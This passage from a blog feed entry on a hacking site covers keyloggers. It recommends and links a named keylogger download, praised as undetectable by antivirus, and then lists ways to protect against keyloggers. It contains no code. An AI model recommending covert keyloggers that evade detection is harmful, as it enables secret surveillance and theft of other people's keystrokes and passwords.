advantage over a software solution: it is not dependent on being installed on the target computer&#39;s operating system and therefore will not interfere with any program running on the target machine.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; color: rgb(51, 204, 0);&quot;&gt;Download:&lt;/span&gt; I&#39;ve tested approx 50 Keyloggers... I found &lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;a href=&quot;http://www.rohos.com/kid-logger/&quot;&gt;KIDLOGGER&lt;/a&gt; &lt;/span&gt;&lt;span&gt;which works fine and is fully undetectable by any Anti-virus software...&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPGdnPxcxGI/AAAAAAAAARc/UoA8R0v90CQ/s1600/kidlogger-logo.gif&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 325px; height: 89px;&quot; src=&quot;http://4.bp.blogspot.com/_6Y3t2XpO2oE/TPGdnPxcxGI/AAAAAAAAARc/UoA8R0v90CQ/s400/kidlogger-logo.gif&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5544385913844188258&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Protection :&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span&gt;1. &lt;/span&gt;Check the &lt;span style=&quot;font-weight: bold;&quot;&gt;Task Manager&lt;/span&gt;. Examine all the Applications, Processes &amp;amp; Services running.&lt;br /&gt;&lt;br /&gt;2. Use the system configuration utility (&lt;span style=&quot;font-weight: bold;&quot;&gt;msconfig&lt;/span&gt;) to determine which task are loaded at start-up.&lt;br /&gt;&lt;br /&gt;3. Install a good anti-spyware program in your system like &lt;span style=&quot;font-weight: bold;&quot;&gt;SUPERAntiSpyware&lt;/span&gt; and scan your system regularly.&lt;br /&gt;&lt;br /&gt;4. &lt;span style=&quot;font-weight: bold;&quot;&gt;KeyScrambler&lt;/span&gt; is a  program which encrypts your keystrokes to defeat known and unknown keyloggers.&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold; color: rgb(51, 204, 0);&quot;&gt;Download: &lt;/span&gt;Click &lt;a href=&quot;www.qfxsoftware.com/&quot;&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;here&lt;/span&gt;&lt;/a&gt; to download KeyScrambler.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TQdFwt5bvcI/AAAAAAAAAaI/SiNDctn99qQ/s1600/KS_Windows7_Logon_small.jpg&quot;&gt;&lt;img style=&quot;display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 326px; height: 180px;&quot; src=&quot;http://3.bp.blogspot.com/_6Y3t2XpO2oE/TQdFwt5bvcI/AAAAAAAAAaI/SiNDctn99qQ/s400/KS_Windows7_Logon_small.jpg&quot; alt=&quot;&quot; id=&quot;BLOGGER_PHOTO_ID_5550481769013951938&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;Happy Hacking...Enjoy... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;font-weight: bold;&quot;&gt;&lt;span style=&quot;color:red;&quot;&gt;For educational purpose only...Do not misuse it...&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.xtrmhack.com/feeds/5602603457940858379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.xtrmhack.com/2010/11/key-logger.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5602603457940858379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9011660198155217135/posts/default/5602603457940858379'/><link rel='alternate' type='text/html' href='http://www.xtrmhack.com/2010/11/key-logger.html' title='KEY LOGGER'/><author><name>Rajat Das</name><uri>http://www.blogger.com/profile/15687869933369691733</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_6Y3t2XpO2oE/TPC_qhuhdNI/AAAAAAAAAP8/MUe90ZbAN9s/s72-c/pcdm-mod2.jpg" height="72" width="72"/><thr:total>3</thr:total></entry></feed>